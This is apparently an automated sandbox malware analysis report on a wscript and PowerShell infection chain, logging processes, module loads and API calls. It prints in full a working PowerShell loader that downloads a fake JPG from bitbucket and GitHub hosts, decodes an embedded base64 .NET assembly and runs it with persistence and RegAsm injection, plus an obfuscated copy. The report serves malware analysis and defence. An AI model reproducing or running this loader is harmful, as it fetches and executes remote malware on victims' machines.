#2#DQ#T#Bl#G4#ZwB0#Gg#I##9#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#C##J#Bz#HQ#YQBy#HQ#SQBu#

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#GE#Z#Bz#HM#ZwBm#GQ#cwBn#C8#d#Bl#HM#d#Bp#G4#Zw#v#GQ#bwB3#G4#b#Bv#GE#Z#Bz#C8#aQBt#Gc#XwB0#GU#cwB0#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#n#Cw#I##n#Gg#d#B0#H##cw#6#C8#LwBy#GE#dw#u#Gc#aQB0#Gg#dQBi#HU#cwBl#HI#YwBv#G4#d#Bl#G4#d##u#GM#bwBt#C8#cwBh#G4#d#Bv#G0#YQBs#G8#LwBh#HU#Z#Bp#HQ#LwBt#GE#aQBu#C8#aQBt#Gc#XwB0#GU#cwB0#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#y#DM#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##PQ#g#EQ#bwB3#G4#b#Bv#GE#Z#BE#GE#d#Bh#EY#cgBv#G0#T#Bp#G4#awBz#C##J#Bs#Gk#bgBr#HM#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#g#C0#bgBl#C##J#Bu#HU#b#Bs#Ck#I#B7#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#V#Bl#Hg#d##u#EU#bgBj#G8#Z#Bp#G4#ZwBd#Do#OgBV#FQ#Rg#4#C4#RwBl#HQ#UwB0#HI#aQBu#Gc#K##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBT#FQ#QQBS#FQ#Pg#+#Cc#Ow#g#CQ#ZQBu#GQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#EU#TgBE#D4#Pg#n#Ds#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#Ek#bgBk#GU#e#BP#GY#K##k#HM#d#Bh#HI#d#BG#Gw#YQBn#Ck#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#GU#bgBk#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#ZQBu#GQ#RgBs#GE#Zw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##aQBm#C##K##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##t#Gc#ZQ#g#D##I##t#GE#bgBk#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#Gc#d##g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##p#C##ew#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#Cs#PQ#g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#LgBM#GU#bgBn#HQ#a##7#C##DQ#K#C##I##g#C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/adssgfdsg/testing/downloads/img_test.jpg?144417', 'https://raw.githubusercontent.com/santomalo/audit/main/img_test.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.drmmpgk/niam/sdaeh/sfer/bpayks/AKISEAWUEJI/moc.tnetnocresubuhtig.war//:sptth', '0', 'StartupName', 'RegAsm', '0'))}}" .exe -windowstyle hidden -exec
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#GE#Z#Bz#HM#ZwBm#GQ#cwBn#C8#d#Bl#HM#d#Bp#G4#Zw#v#GQ#bwB3#G4#b#Bv#GE#Z#Bz#C8#aQBt#Gc#XwB0#GU#cwB0#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#n#Cw#I##n#Gg#d#B0#H##cw#6#C8#LwBy#GE#dw#u#Gc#aQB0#Gg#dQBi#HU#cwBl#HI#YwBv#G4#d#Bl#G4#d##u#GM#bwBt#C8#cwBh#G4#d#Bv#G0#YQBs#G8#LwBh#HU#Z#Bp#HQ#LwBt#GE#aQBu#C8#aQBt#Gc#XwB0#GU#cwB0#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#y#DM#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##PQ#g#EQ#bwB3#G4#b#Bv#GE#Z#BE#GE#d#Bh#EY#cgBv#G0#T#Bp#G4#awBz#C##J#Bs#Gk#bgBr#HM#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#g#C0#bgBl#C##J#Bu#HU#b#Bs#Ck#I#B7#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#V#Bl#Hg#d##u#EU#bgBj#G8#Z#Bp#G4#ZwBd#Do#OgBV#FQ#Rg#4#C4#RwBl#HQ#UwB0#HI#aQBu#Gc#K##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBT#FQ#QQBS#FQ#Pg#+#Cc#Ow#g#CQ#ZQBu#GQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#EU#TgBE#D4#Pg#n#Ds#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#Ek#bgBk#GU#e#BP#GY#K##k#HM#d#Bh#HI#d#BG#Gw#YQBn#Ck#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#GU#bgBk#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#ZQBu#GQ#RgBs#GE#Zw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##aQBm#C##K##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##t#Gc#ZQ#g#D##I##t#GE#bgBk#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#Gc#d##g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##p#C##ew#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#Cs#PQ#g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#LgBM#GU#bgBn#HQ#a##7#C##DQ#K#C##I##g#C	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/adssgfdsg/testing/downloads/img_test.jpg?144417', 'https://raw.githubusercontent.com/santomalo/audit/main/img_test.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.drmmpgk/niam/sdaeh/sfer/bpayks/AKISEAWUEJI/moc.tnetnocresubuhtig.war//:sptth', '0', 'StartupName', 'RegAsm', '0'))}}" .exe -windowstyle hidden -exec	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Loading BitLocker PowerShell Module

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0045245D push esi; ret	8_2_00452466
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0044A616 push ecx; ret	8_2_0044A629
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0042C766 push ecx; ret	8_2_0042C779
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 8_2_0044AE78 push eax; ret	8_2_0044AE96

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 8_2_00404A3B ShellExecuteW,URLDownloadToFileW,

8_2_00404A3B

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 8_2_00413168 OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,

8_2_00413168

Hooking and other Techniques for Hiding and Protection

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 8_2_00414EED LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,

8_2_00414EED

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
